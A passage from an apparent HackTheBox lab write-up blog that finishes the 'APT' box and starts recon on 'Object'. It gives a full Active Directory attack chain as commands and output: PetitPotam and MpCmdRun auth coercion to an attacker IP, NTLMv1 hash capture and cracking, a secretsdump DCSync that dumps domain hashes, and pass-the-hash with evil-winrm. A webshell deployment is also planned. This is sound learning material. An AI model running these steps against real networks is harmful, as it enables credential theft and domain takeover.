href="https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read these two posts side by side.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Edit /etc/responder/Responder.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTPS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DNS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LDAP = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Custom challenge.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Use &amp;#34;Random&amp;#34; for generating a random challenge for each requests (Default)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Challenge = 1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I eth0 --lm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Two methods are described: one without authentication and one with authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.exe Responder-IP DC-IP # Patched around August 2021&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;When I opened the tool&amp;rsquo;s page and saw a hippo, it suddenly looked very familiar. Apparently I had studied it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I really had documented it, right below the printer authentication technique I&amp;rsquo;d just tried.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The printer service wasn&amp;rsquo;t enabled, but these two services definitely were. The prerequisites were satisfied and the version matched. The only difference was that whenever I&amp;rsquo;d studied relaying before, I had used ntlmrelayx, while the last few lab tutorials had all used responder.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Triggering authentication failed. No problem—I could upload it to the target and use this method instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.exe Responder-IP DC-IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After all my searching, I couldn&amp;rsquo;t find any other way to make the domain controller initiate authentication. It was time to check the writeups again. I found only three writeups for this machine. My goal was to understand how each person approached it and expand my own thinking, but all three chose MpCmdRun.exe here.&lt;/p&gt;&#10;&lt;p&gt;This is an antivirus tool. The writeups started an smbserver and made MpCmdRun.exe scan a remote file. The remote scan required authentication, which let them capture it. This seemed like a standard technique, so I added it to my notes.&lt;/p&gt;&#10;&lt;p&gt;I used dir and found many copies of MpCmdRun.exe. Any one of them would do.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point my brain stopped working. I admit I&amp;rsquo;d spent more than a day on this machine. You can&amp;rsquo;t just skim over new material when you&amp;rsquo;re trying to learn it, so I&amp;rsquo;d been thinking hard and trying to memorize everything. I was getting a little dizzy. In fact, the technique I had tried earlier did work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had selected the wrong network interface. After switching to the correct one, I used the same exploit again.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had a result. NTLM relay worked fine. The printer technique didn&amp;rsquo;t, because none of its required services were enabled. The antivirus technique worked too.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Client : 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Username : HTB\APT$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Because it captured the same value, it displayed a skip message. I continued following the earlier tutorial, &lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;Pentest_Note/wiki/Lateral Movement/NTLM Relay and Man-in-the-Middle Attacks/Capturing and Cracking Net-NTLMv1 and NTLMv1 Hashes.md at master · xiaoy-sec/Pentest_Note&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://crack.sh/" target="_blank" rel="noopener"&#10; &gt;https://crack.sh/&lt;/a&gt; was down for maintenance, so I chose hashcat.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;hashcat was too slow, so I switched to john.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlm 1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In fact, crack.sh, hashcat, and john could all recover the password, but each would take a long time. I simply used the result from the writeup.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d167c3238864b12f5f82feae86a7f798&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This was the password for APT$. Names ending in &lt;code&gt;$&lt;/code&gt; are generally machine accounts, and machine accounts have DCSync privileges by default. DCSync allows an account to impersonate a domain controller for replication, so I could go straight to the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\$@htb.local -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Using the DRSUAPI method to get NTDS.DIT secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine took me more than a day. It was the hardest lab I&amp;rsquo;d encountered so far, and I reread the writeups many times because it involved so many different techniques. Without the writeups, I think I would have been completely stuck. I&amp;rsquo;m already starting to forget the RPC work from the beginning. Apart from RPC, which I hadn&amp;rsquo;t expected, the rest involved fairly standard services and penetration techniques—but you really need to think more broadly. This was an excellent machine, and everything fit the theory perfectly. For example, the username/password brute-force could only use the Kerberos protocol. None of the scripts I found worked, but once I broadened my approach, getTGT could brute-force the hashes too. That was a brilliant idea. Then there was the APT$ machine account. Machine accounts generally have DCSync privileges, so it could directly replicate NTDS.dit. I also learned a new way to trigger NTLM authentication.&lt;/p&gt;&#10;&lt;p&gt;The machine covered registry queries, writing Bash shell scripts, auditing PowerShell, filtering text (either Bash or Python works; I used Python here), modifying Python scripts (the original programs wouldn&amp;rsquo;t run at all, so I spent ages changing them without managing to fix them), and passing hashes across all kinds of protocols.&lt;/p&gt;&#10;&lt;p&gt;It touched an enormous range of topics. Later on, I&amp;rsquo;ll probably replay it together with Forest and Fuse. What sets it apart from the previous machines is that those weren&amp;rsquo;t really conventional—they focused on techniques unique to particular services. This one was conventional, but demanded deep familiarity. Otherwise, you would never think of all the approaches above.&lt;/p&gt;&#10;&lt;h2 id="21object"&gt;&lt;a href="#21object" class="header-anchor"&gt;&lt;/a&gt;21.Object&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 gave me a domain name. There did not seem to be much there, just a redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;8080&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;admin&lt;/code&gt; user exists. I do not think this is meant to make me manually dig for vulnerabilities; there has to be a known way to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin panel is similar to the Azure DevOps setup I studied before, except that one mainly targeted ASPX while this one targets Java. So, in theory, if I can get into the admin panel, I should be able to upload a JSP file just like before and have it deployed normally to the site. That probably means the service on port 80 is deployed from here. All I need to do is get into the admin panel and deploy my webshell. Of course, there could also be automated deployment on a subdomain, so I will need to get in and take a look.&lt;/p&gt;&#10;&lt;p&gt;I casually created an account and entered the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As far as I know, the path to a shell is right here. Nearly every blog post I found points down this path, but my privileges are clearly insufficient.&lt;/p&gt;&#10;&lt;p&gt;Also, this is version 2.317.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was released on October 19, 2021, so I need to look for exploits published after 2021. What I can confirm right now is that getting the &lt;code&gt;admin&lt;/code&gt; password would unquestionably let me get a shell. However, the box was released on February 8, 2022, which means that if no new CVE appeared during those four months, an exploit would not be the intended route and I would need another method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I know where the initial password is stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;An arbitrary file read would also make this exploitable. I had been leaving the UDP ports aside because I first wanted to gather more information about these two web services.&lt;/p&gt;&#10;&lt;p&gt;UDP 53&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did not find anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;88 Kerberos&lt;/p&gt;&#10;&lt;p&gt;This did not disclose any useful information, so I moved on.&lt;/p&gt;&#10;&lt;p&gt;123 NTP&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sU -sV --script &amp;#34;ntp* and (discovery or vuln) and not (dos or brute)&amp;#34; -p 123 